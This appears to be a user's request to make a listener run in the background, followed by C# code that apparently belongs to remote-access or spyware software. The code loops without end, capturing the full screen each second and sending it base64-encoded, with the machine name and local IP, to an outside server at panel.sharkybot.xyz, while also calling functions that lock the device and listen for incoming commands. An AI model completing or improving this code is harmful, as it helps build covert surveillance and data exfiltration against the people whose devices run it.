Make it so listen for post executes in the background and the code doesn't wait for it to exit

static async Task Main(string[] args)
    {
        ListenForPOST();
        LockDevice();

        while (true)
        {
            HttpClient client = new HttpClient();
            Bitmap memoryImage;
            memoryImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);

            Size s = new Size(memoryImage.Width, memoryImage.Height);
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);

            // Resize image to 720p while maintaining aspect ratio
            int newWidth = 1280;
            int newHeight = 720;
            Bitmap newImage = new Bitmap(newWidth, newHeight);
            Graphics gr = Graphics.FromImage(newImage);
            gr.DrawImage(memoryImage, 0, 0, newWidth, newHeight);

            /*for (int x = 0; x < newWidth; x++)
            {
                for (int y = 0; y < newHeight; y++)
                {
                    Color pixel = newImage.GetPixel(x, y);
                    int r = pixel.R;
                    int g = pixel.G;
                    int b = pixel.B;
                    int a = pixel.A;
                    int avg = (r + g + b) / 3;
                    newImage.SetPixel(x, y, Color.FromArgb(a, avg, avg, avg));
                }
            }*/
            
            //That's it! Save the image in the directory and this will work like charm.  
            string base64Image;
            using (MemoryStream ms = new MemoryStream())
            {
                using (BinaryWriter bw = new BinaryWriter(ms))
                {
                    newImage.Save(bw.BaseStream, ImageFormat.Png);
                    byte[] imageBytes = ms.ToArray();
                    base64Image = Convert.ToBase64String(imageBytes);
                }
            }

            string? localIp = Dns.GetHostEntry(Dns.GetHostName())
                    .AddressList
                    .FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                    ?.ToString();

            string serverUrl = "http://panel.sharkybot.xyz:1027/video-stream";

            // Create a JSON payload
            var payload = new
            {
                data = base64Image,
                deviceName = Environment.MachineName,
                ip = localIp
            };
            string jsonPayload = JsonConvert.SerializeObject(payload);

            // Create the HttpContent object with the JSON payload
            HttpContent content = new StringContent(jsonPayload, Encoding.UTF8, "application/json");

            // Send the POST request with the JSON payload in the body
            try
            {
                HttpResponseMessage response = await client.PostAsync(serverUrl, content);

                // Ensure the response is successful
                response.EnsureSuccessStatusCode();
            } catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }

            // Wait for 0.5 seconds before taking the next screenshot
            await Task.Delay(1000);
        }
    }